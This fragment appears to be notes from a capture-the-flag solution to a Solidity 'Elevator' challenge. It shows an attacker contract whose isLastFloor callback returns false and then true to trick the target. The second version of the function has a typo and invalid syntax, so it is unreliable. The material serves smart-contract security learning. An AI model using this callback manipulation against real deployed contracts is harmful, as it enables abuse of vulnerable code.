building.isLastFloor(_floor) = false
building.isLastFloor(floor) = true
first ⇒ false
second ⇒ true!
// storage, persists throughout function calls
uint256 timesCalled;
function attack() external payable {
challenge.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
function isLastFloor(uint256 ) external returns(bool){
timeCalled++;
if(timeCalled%2=0) return true
else return false
}